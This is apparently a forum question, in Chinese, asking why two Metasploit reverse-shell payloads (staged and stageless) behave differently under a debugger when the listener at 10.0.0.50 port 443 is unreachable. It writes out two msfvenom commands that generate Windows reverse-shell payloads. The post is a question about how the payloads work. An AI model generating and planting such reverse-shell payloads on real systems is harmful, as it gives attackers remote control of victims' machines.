以上 2 个 Metasploit 有效负载用于创建从一个系统到另一个系统的反向 shell。它们之间的区别在这里清楚地解释了https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work
但是,我试图了解如果两个有效负载尝试连接的系统无法访问,它们将如何工作。
例如:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443
和
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443
将尝试连接到“10.0.0.50”。问题是如果“10.0.0.50”没有监听端口“443”,每个有效载荷将如何行动?
两个有效载荷都在使用EXITFUNC process
,但是,当我在调试器中运行它们并在 shellcode 的最后一条指令处放置一个断点时,我得到了不同的结果。
我看到他们都利用“mswsock.dll”尝试连接到远程系统,一旦超时(默认为 5 秒):
shell_reverse_tcp
将在调试器内显示“进程终止”,并且EIP指向ntdll.KiFastSystemCallRet
. 断点永远不会被击中- 另一方面
shell/reverse_tcp
,会在 shellcode 的末尾遇到断点
笔记:
- 如果它在预配置的端口上侦听,我通过成功连接到远程系统来确认两个有效负载都可以正常工作。
shell_reverse_tcp
仅当它首先能够连接到远程系统时才会命中断点。使用内部 CMD 退出远程系统上的 shell 后,将exit
触发断点。
知道为什么一个会达到断点,而如果远程侦听器无法访问,一个不会?
提前致谢。